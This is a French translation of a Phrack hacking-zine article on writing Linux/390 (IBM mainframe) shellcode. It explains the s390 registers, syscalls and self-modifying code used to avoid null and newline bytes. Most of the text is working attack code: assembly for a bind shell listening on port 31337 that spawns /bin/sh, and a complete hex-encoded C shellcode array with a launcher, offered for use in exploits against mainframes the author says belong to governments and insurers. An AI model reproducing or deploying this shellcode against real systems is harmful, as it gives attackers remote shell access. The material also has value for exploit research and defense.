==Phrack Inc.== Volume 0x0b, Issue 0x3b, Phile #0x0d of 0x12 |=----------------=[ Linux/390 shellcode development ]=------------------=| |=-----------------------------------------------------------------------=| |=-------=[ johnny cyberpunk ]=--------=| |=-------=[ Developpement de shellcode Linux/390 ]=------=| |=-------------------------------------------------------=| |=-----=[ Traduit par z33w ]=-----=| --[ Sommaire 1 - Introduction 2 - Historique et deroulement 2.1 - Registres 2.2 - Jeu d'instructions 2.3 - Appels système 2.4 - Le code natif 2.5 - Eviter les méchants 0x00 et 0x0a 2.6 - Le code final 3 - References --[ 1 - Introduction Depuis que IBM a sorti Linux/390, on trouve de plus en plus de boxes de ce type. Voila une bonne raison pour un hacker de prêter une attention plus particulière à la facon dont peuvent etre exploites les services vulnerables dans un mainframe. Souvenez-vous, qui sont les proprietaires de mainframes? Les grands centres informatique, les assurances ou les gouvernements... ;) Dans cet article, je vais montrer comment ecrire du bad code (shellcode). Le bind-shellcode, a la fin, peut servir d'exemple. D'autres shellcodes et exploits utilisant des vulnerabilites connues peuvent être trouvés sur un des liens de la section Références. Les suggestions, ameliorations ou reproches peuvent etre envoyes directement a l'adresse: jcyberpunk@thehackerschoice.com . Vous trouverez ma cle gpg a la fin de ce document. --[ 2 - Historique et deroulement Fin 1998, une petite equipe de developpeurs IBM de Boeblingen (Allemagne) commencerent a porter Linux aux mainframes. Un an plus tard, en Decembre 1999, la premiere version a ete publiee pour l'IBM s/390. Il existe deux versions disponibles: Une version 32 bits, ajournee a Linux sur s/390 et une version 64 bits, ajournee a Linux pour zSeries. Les distributions supportees sont Suse, Redhat et Turbolinux. Linux pour s/390 est base sur un kernel 2.2 et le zSeries sur un 2.4. Il y a differentes manieres de lancer Linux: - Natif : Linux ne partage pas la machine avec un autre OS. - LPAR : (Logical PARtition) Le disque peut etre logiquement partitionne, par exemple, sur une LPAR se trouve un environnement VM/VSE et une autre LPAR contient Linux. - Client VM/ESA : Cela signifie que l'utilisateur peut lancer Linux sur une machine virtuelle. Les binaires sont au format ELF (big endian). ----[ 2.1 - Les Registres Pour le developpement de notre shellcode, nous n'avons pas vraiment besoin de tous les registres qu'ont les s/390 et les zSeries. Les plus interessants pour nous sont les registres %r0-%r15. Pour vous donner un petit apercu, je vais tout de meme vous lister les autres. Registres generaux : %r0-%r15 ou gpr0-gpr15 sont utilisés pour l'adressage et les opérations arithmétiques. Registres de controle : cr0-cr15 sont uniquement utilisés par le kernel pour le contrôle irq, le management de la mémoire, le contrôle de débuggage.. etc.. Registres d'acces : ar0-ar15 ne sont normalement pas utilisés par les programmes, mais peuvent être utiles pour le stockage temporaire. Registres floating point : fp0-fp15 sont les registres flottants IEEE et HFP (Linux utilise juste IEEE) PSW (Programm Status Word) : c'est le registre le plus important et a le role de compteur de programme, de designateur d'espace memoire et de registre de condition de code. Pour ceux qui voudraient en savoir plus sur ce registre, regardez parmi les references a la fin de l'article. ----[ 2.2 - Jeu d'instructions Ci-dessous, vous trouverez les instructions les plus utiles dont nous aurons besoin pour developper notre shellcode. Next I'll show you some useful instructions we will need, while developing our shellcode. Instruction Exemple ------------------------------------------------------------------------------- basr (branch and save) %r1,0 # sauve la valeur 0 dans %r1 lhi (load h/word immediate) lhi %r4,2 # charge la valeur 2 dans %r4 la (load address) la %r3,120(%r15) # charge l'adresse venant de # %r15+120 dans %r3 lr (load register) lr %r4,%r9 # charge la valeur de %r9 # dans %r4 stc (store character) stc %r6,120(%r15) # stocke 1 caractere de # %r6 dans %r15+120 sth (store halfword) sth %r3,122(%r15) # stocke 2 octets de # %r3 dans %r15+122 ar (add) ar %r6,%r10 # ajoute la valeur # de %r10 ->%r6 xr (exclusive or) xr %r2,%r2 # 0x00 astuce :) svc (service call) svc 1 # exit ----[ 2.3 - Appels systeme (syscalls) Sur un Linux pour les s/390 ou les zSeries, les syscalls sont faits en utilisant l'instruction SVC avec son opcode 0x0a !! Ce n'est pas une bonne chose pour les shellcodeurs car 0x0a correspond a un caractere special pour de nombreux services :( Mais avant de commencer a expliquer comment nous pouvons eviter cet opcode, jetez un oeil sur la facon dont notre OS utilise les syscalls: Les quatre premiers parametres d'un syscall sont delivres dans les registres %r2-%r5 et le code resultant peut etre trouve dans %r2 apres l'appel de SVC. Exemple d'appel a execve: basr %r1,0 base: la %r2,exec-base(%r1) la %r3,arg-base(%r1) la %r4,tonull-base(%r1) svc 11 exec: .string "/bin//sh" arg: .long exec tonull: .long 0x0 Un cas special est l'appel 102 de SVC (SYS_SOCKET). Premierement, nous devons remplir le registre %r2 avec la fonction desiree (socket, bind, listen, accept..) et %r3 doit pointer sur une liste de parametres dont cette fonction a besoin. Chaque parametre de la list possede sa propre valeur u_long. Encore un exemple d'un appel a socket() : lhi %r2,2 # domaine lhi %r3,1 # type xr %r4,%r4 # protocole stm %r2,%r4,128(%r15) # stocke %r2 - %r4 lhi %r2,1 # fonction socket() la %r3,128(%r15) # pointeur sur les valeurs API svc 102 # SOCKETCALL lr %r7,%r2 # sauvegarde du fd dans %r7 ----[ 2.4 - Le code natif Voici un échantillon d'un portbindshell de style natif : .globl _start _start: basr %r1,0 # notre adresse de base base: lhi %r2,2 # AF_INET sth %r2,120(%r15) lhi %r3,31337 # port sth %r3,122(%r15) xr %r4,%r4 # INADDR_ANY st %r4,124(%r15) # 120-127 est un struct sockaddr * lhi %r3,1 # SOCK_STREAM stm %r2,%r4,128(%r15) # stocker %r2-%r4, nos valeurs API lhi %r2,1 # SOCKET_socket la %r3,128(%r15) # pointeur sur les valeurs API svc 102 # SOCKETCALL lr %r7,%r2 # sauvegarde dusocket fd dans %r7 la %r3,120(%r15) # pointeur sur struct sockaddr * lhi %r9,16 # sauvegarde de la valeur 16 dans %r9 lr %r4,%r9 # sizeof address stm %r2,%r4,128(%r15) # stocke %r2-%r4, nos valeurs API lhi %r2,2 # SOCKET_bind la %r3,128(%r15) # pointeur sur les valeurs API svc 102 # SOCKETCALL lr %r2,%r7 # recuperation du socket fd sauvegarde lhi %r3,1 # MAXNUMBER stm %r2,%r3,128(%r15) # stocke %r2-%r3, nos valeurs API lhi %r2,4 # SOCKET_listen la %r3,128(%r15) # pointeur sur les valeurs API svc 102 # SOCKETCALL lr %r2,%r7 # recuperation du socket fd sauvegarde la %r3,120(%r15) # pointeur sur struct sockaddr * stm %r2,%r3,128(%r15) # stock %r2-%r3, nos valeurs API st %r9,136(%r15) # %r9 = 16, dans ce cas: fromlen lhi %r2,5 # SOCKET_accept la %r3,128(%r15) # pointeur sur les valeurs API svc 102 # SOCKETCALL xr %r3,%r3 # le truc courant svc 63 # duplication de stdin, stdout ahi %r3,1 # stderr svc 63 # DUP2 ahi %r3,1 svc 63 la %r2,exec-base(%r1) # pointe sur /bin/sh la %r3,arg-base(%r1) # pointe a l'addresse de /bin/sh la %r4,tonull-base(%r1) # pointe sur la valeur de envp svc 11 # execve slr %r2,%r2 svc 1 # exit exec: .string "/bin//sh" arg: .long exec tonull: .long 0x0 ----[ 2.5 - Eviter les 0x00 et 0x0a Pour creer un shellcode propre nous avons deux choses a eviter: les 0x00 et les 0x0a. Dans le premier cas: a7 28 00 02 lhi %r2,02 Voici la solution: a7 a8 fb b4 lhi %r10,-1100 a7 28 04 4e lhi %r2,1102 1a 2a ar %r2,%r10 J'ai defini statiquement la valeur -1100 dans %r10 afin de pouvoir m'en reservir plus tard. Apres avoir charge en memoire ma valeur choisie + 1100, la soustraction de 1102-1100 dans l'instruction suivante me donne la valeur reelle. Facile. Pour detourner le probleme, nous devons utiliser un code automodifié : svc: .long 0x0b6607fe <---- sera svc 66, br %r14 apres modification du code Regardez le premier octet: pour le moment, il a la valeur 0x0b. LE code suivant va changer cette valeur en 0x0a: basr %r1,0 # notre adresse de base la %r9,svc-base(%r1) # charge l'adresse de la sous-routine svc lhi %r6,1110 # modification lhi %r10,-1100 # le code est utilise ar %r6,%r10 # 1110 - 1100 = \x0a opcode SVC stc %r6,svc-base(%r1) # stock l'opcode de svc A la fin, le code modifie ressemble a ca: 0a 66 svc 66 07 fe br %r14 Pour aller a cette sous-routine, nous utlisons la commande suivante: basr %r14,%r9 # va a la sous-routine SVC 102 Le registre %r9 contient l'adresse de la sous-routine et %r14 contient l'adresse ou l'on revient du jump. ----[ 2.6 - Le code final Nous créons enfin notre shellcode, il est alors pret pour un petit test: .globl _start _start: basr %r1,0 # notre adresse de base base: la %r9,svc-base(%r1) # charge l'adresse de la sous-routine svc lhi %r6,1110 # modification lhi %r10,-1100 # utilisation du code ar %r6,%r10 # 1110 - 1100 = \x0a opcode SVC stc %r6,svc-base(%r1) # stocke l'opcode svc lhi %r2,1102 # le code portbind marche toujours ;) ar %r2,%r10 # la valeur reelle -1100 (ici AF_INET) sth %r2,120(%r15) lhi %r3,31337 # port sth %r3,122(%r15) xr %r4,%r4 # INADDR_ANY st %r4,124(%r15) # 120-127 est struct sockaddr * lhi %r3,1101 # SOCK_STREAM ar %r3,%r10 stm %r2,%r4,128(%r15) # stocke %r2-%r4, nos valeurs API lhi %r2,1101 # SOCKET_socket ar %r2,%r10 la %r3,128(%r15) # pointeur sur les valeurs API basr %r14,%r9 # va a la sous-routine SVC 102 lr %r7,%r2 # sauve le socket fd dans %r7 la %r3,120(%r15) # pointeur sur struct sockaddr * lhi %r8,1116 ar %r8,%r10 # valeur 16 est stockee dans %r8 lr %r4,%r8 # taille de l'adresse stm %r2,%r4,128(%r15) # stocke %r2-%r4, les valeurs API lhi %r2,1102 # SOCKET_bind ar %r2,%r10 la %r3,128(%r15) # pointeur sur les valeurs API basr %r14,%r9 # va a la sous-routine SVC 102 lr %r2,%r7 # recupere le socket fd sauvegarde lhi %r3,1101 # MAXNUMBER ar %r3,%r10 stm %r2,%r3,128(%r15) # stocke %r2-%r3, nos valeurs API lhi %r2,1104 # SOCKET_listen ar %r2,%r10 la %r3,128(%r15) # pointeur sur les valeurs API basr %r14,%r9 # va a la sous-routine SVC 102 lr %r2,%r7 # recupere le socket fd la %r3,120(%r15) # pointeur sur struct sockaddr * stm %r2,%r3,128(%r15) # stocke %r2-%r3, nos valeurs API st %r8,136(%r15) # %r8 = 16, dans ce cas: fromlen lhi %r2,1105 # SOCKET_accept ar %r2,%r10 la %r3,128(%r15) # pointeur sur les valeurs API basr %r14,%r9 # va a la sous-routine SVC 102 lhi %r6,1163 # initialise SVC 63 = DUP2 ar %r6,%r10 stc %r6,svc+1-base(%r1) # modifie la sous-routine a SVC 63 lhi %r3,1102 # le pti truc ar %r3,%r10 # duplication basr %r14,%r9 # stdin, stdout ahi %r3,-1 # stderr basr %r14,%r9 # SVC 63 = DUP2 ahi %r3,-1 basr %r14,%r9 lhi %r6,1111 # initialise SVC 11 = execve ar %r6,%r10 stc %r6,svc+1-base(%r1) # modifie la sous-routine a SVC 11 la %r2,exec-base(%r1) # pointe sur /bin/sh st %r2,exec+8-base(%r1) # sauve l'adresse de /bin/sh la %r3,exec+8-base(%r1) # pointe a l'adresse de /bin/sh xr %r4,%r4 # 0x00 c'est envp stc %r4,exec+7-base(%r1) # fixe le dernier octet /bin/sh\\ a 0x00 st %r4,exec+12-base(%r1) # stockela valeur 0x00 pourr envp la %r4,exec+12-base(%r1) # pointe sur la valeur envp basr %r14,%r9 # va a la sous-routine SVC 11 svc: .long 0x0b6607fe # notre sous-routine SVC n + br %r14 exec: .string "/bin/sh\\" Dans un environnement de code C, ca ressemble a ca: char shellcode[]= "\x0d\x10" /* basr %r1,%r0 */ "\x41\x90\x10\xd4" /* la %r9,212(%r1) */ "\xa7\x68\x04\x56" /* lhi %r6,1110 */ "\xa7\xa8\xfb\xb4" /* lhi %r10,-1100 */ "\x1a\x6a" /* ar %r6,%r10 */ "\x42\x60\x10\xd4" /* stc %r6,212(%r1) */ "\xa7\x28\x04\x4e" /* lhi %r2,1102 */ "\x1a\x2a" /* ar %r2,%r10 */ "\x40\x20\xf0\x78" /* sth %r2,120(%r15) */ "\xa7\x38\x7a\x69" /* lhi %r3,31337 */ "\x40\x30\xf0\x7a" /* sth %r3,122(%r15) */ "\x17\x44" /* xr %r4,%r4 */ "\x50\x40\xf0\x7c" /* st %r4,124(%r15) */ "\xa7\x38\x04\x4d" /* lhi %r3,1101 */ "\x1a\x3a" /* ar %r3,%r10 */ "\x90\x24\xf0\x80" /* stm %r2,%r4,128(%r15) */ "\xa7\x28\x04\x4d" /* lhi %r2,1101 */ "\x1a\x2a" /* ar %r2,%r10 */ "\x41\x30\xf0\x80" /* la %r3,128(%r15) */ "\x0d\xe9" /* basr %r14,%r9 */ "\x18\x72" /* lr %r7,%r2 */ "\x41\x30\xf0\x78" /* la %r3,120(%r15) */ "\xa7\x88\x04\x5c" /* lhi %r8,1116 */ "\x1a\x8a" /* ar %r8,%r10 */ "\x18\x48" /* lr %r4,%r8 */ "\x90\x24\xf0\x80" /* stm %r2,%r4,128(%r15) */ "\xa7\x28\x04\x4e" /* lhi %r2,1102 */ "\x1a\x2a" /* ar %r2,%r10 */ "\x41\x30\xf0\x80" /* la %r3,128(%r15) */ "\x0d\xe9" /* basr %r14,%r9 */ "\x18\x27" /* lr %r2,%r7 */ "\xa7\x38\x04\x4d" /* lhi %r3,1101 */ "\x1a\x3a" /* ar %r3,%r10 */ "\x90\x23\xf0\x80" /* stm %r2,%r3,128(%r15) */ "\xa7\x28\x04\x50" /* lhi %r2,1104 */ "\x1a\x2a" /* ar %r2,%r10 */ "\x41\x30\xf0\x80" /* la %r3,128(%r15) */ "\x0d\xe9" /* basr %r14,%r9 */ "\x18\x27" /* lr %r2,%r7 */ "\x41\x30\xf0\x78" /* la %r3,120(%r15) */ "\x90\x23\xf0\x80" /* stm %r2,%r3,128(%r15) */ "\x50\x80\xf0\x88" /* st %r8,136(%r15) */ "\xa7\x28\x04\x51" /* lhi %r2,1105 */ "\x1a\x2a" /* ar %r2,%r10 */ "\x41\x30\xf0\x80" /* la %r3,128(%r15) */ "\x0d\xe9" /* basr %r14,%r9 */ "\xa7\x68\x04\x8b" /* lhi %r6,1163 */ "\x1a\x6a" /* ar %r6,%r10 */ "\x42\x60\x10\xd5" /* stc %r6,213(%r1) */ "\xa7\x38\x04\x4e" /* lhi %r3,1102 */ "\x1a\x3a" /* ar %r3,%r10 */ "\x0d\xe9" /* basr %r14,%r9 */ "\xa7\x3a\xff\xff" /* ahi %r3,-1 */ "\x0d\xe9" /* basr %r14,%r9 */ "\xa7\x3a\xff\xff" /* ahi %r3,-1 */ "\x0d\xe9" /* basr %r14,%r9 */ "\xa7\x68\x04\x57" /* lhi %r6,1111 */ "\x1a\x6a" /* ar %r6,%r10 */ "\x42\x60\x10\xd5" /* stc %r6,213(%r1) */ "\x41\x20\x10\xd8" /* la %r2,216(%r1) */ "\x50\x20\x10\xe0" /* st %r2,224(%r1) */ "\x41\x30\x10\xe0" /* la %r3,224(%r1) */ "\x17\x44" /* xr %r4,%r4 */ "\x42\x40\x10\xdf" /* stc %r4,223(%r1) */ "\x50\x40\x10\xe4" /* st %r4,228(%r1) */ "\x41\x40\x10\xe4" /* la %r4,228(%r1) */ "\x0d\xe9" /* basr %r14,%r9 */ "\x0b\x66" /* svc 102 <--- apres modification */ "\x07\xfe" /* br %r14 */ "\x2f\x62\x69\x6e" /* /bin */ "\x2f\x73\x68\x5c"; /* /sh\ */ main() { void (*z)()=(void*)shellcode; z(); } --[ 3 - References: [1] Principes d'operations sur les architectures z/ (SA22-7832-00) http://publibz.boulder.ibm.com/epubs/pdf/dz9zr000.pdf [2] Linux pour S/390 ( SG24-4987-00 ) http://www.redbooks.ibm.com/pubs/pdfs/redbooks/sg244987.pdf [3] LINUX pour S/390 ELF Interface supplementaire d'applications binaires http://oss.software.ibm.com/linux390/docu/l390abi0.pdf [4] Exemples d'exploits http://www.thehackerschoice.com/misc/sploits/ -----BEGIN PGP PUBLIC KEY BLOCK----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: Weitere Infos: siehe http://www.gnupg.org mQGiBDzw5yMRBACGJ1o25Bfbb6mBkP2+qwd0eCTvCmC5uJGdXWOW8BbQwDHkoO4h sdouA+0JdlTFIQriCZhZWbspNsWEpXPOAW8vG3fSqIUqiDe6Aj21h+BnW0WEqx9t 8TkooEVS3SL34wiDCig3cQtmvAIj0C9g4pj5B/QwHJYrWNFoAxc2SW1lXwCg8Wk9 LawvHW+Xqnc6n/w5Oo8IpNsD/2Lp4fvQFiTvN22Jd63nCQ75A64fB7mH7ZUsVPYy BctYXM4GhcHx7zfOhAbJQNWoNmYGiftVr9UvO9GSnG+Y9jq6I16qOn7T7dIZUEpL F5FevEFTyrtDGYmBhGv9hwtbz3CI9n9gpZxz1xYTbDHxkVIiTMlcNR3GIJRPfo5B a7u4A/9ncKqRx2HbRkaj39zugC6Y28z9lSimGzu7PTVw3bxDbObgi4CyHcjnHe+j DResuKGgdyEf+d07ofbFEOdQjgaDx1mmswS4pcILKOyRdQMtdbgSdyPlJw5KGHLX G0hrHV/Uhgok3W6nC43ZvPWbd3HVfOIU8jDTRgWaRDjGc45dtbQkam9obm55IGN5 YmVycHVuayA8am9obmN5YnBrQGdteC5uZXQ+iFcEExECABcFAjzw5yMFCwcKAwQD FQMCAxYCAQIXgAAKCRD3c5EGutq/jMW7AJ9OSmrB+0vMgPfVOT4edV7C++RNHwCf byT/qKeSawxasF8g4HeX33fSPe25Ag0EPPDnrRAIALdcTn8E2Z8Z4Ua4p8fjwXNO iP6GOANUN5XLpmscv9v5ErPfK+NM2ARb7O7rQJfLkmKV8voPNj4lPUUyltGeOhzj t86I5p68RRSvO5JKTW+riZamaD8lB84YqLzmt9OuzuOeAJCq3GuQtPMyrNuOkPL9 nX51EgnLnYaUYAkysAhYLhlrye/3maNdjtn2T63MoJauAoB4TpKvegsGsf1pA5mj y9fuG6zGnWt8XpVSdD2W3PUJB+Q7J3On35byebIKiuGsti6Y5L0ZSDlW2rveZp9g eRSQz06j+mxAooTUMBBJwMmXjHm5nTgr5OX/8mpb+I73MGhtssRr+JW+EWSLQN8A AwcH/iqRCMmPB/yiMhFrEPUMNBsZOJ+VK3PnUNLbAPtHz7E2ZmEpTgdvLR3tjHTC vZO6k40H1BkodmdFkCHEwzhWwe8P3a+wgW2LnPCM6tfPEfp9kPXD43UlTLWLL4RF cPmyrs45B2uht7aE3Pe0SgbsnWAej87Stwb+ezOmngmrRvZKnYREVR1RHRRsH3l6 C4rexD3uHjFNdEXieW97xHG71YpOVDX6slCK2SumfxzQAEZC2n7/DqwPd6Z/abAf Ay9WmTpqBFd2FApUtZ1h8cpS6MYb6A5R2BDJQl1hN2pQFNzIh8chjVdQc67dKiay R/g0Epg0thiVAecaloCJlJE8b3OIRgQYEQIABgUCPPDnrQAKCRD3c5EGutq/jNuP AJ979IDls926vsxlhRA5Y8G0hLyDAwCgo8eWQWI7Y+QVfwBG8XCzei4oAiI= =2B7h -----END PGP PUBLIC KEY BLOCK----- |=[ EOF ]=---------------------------------------------------------------=|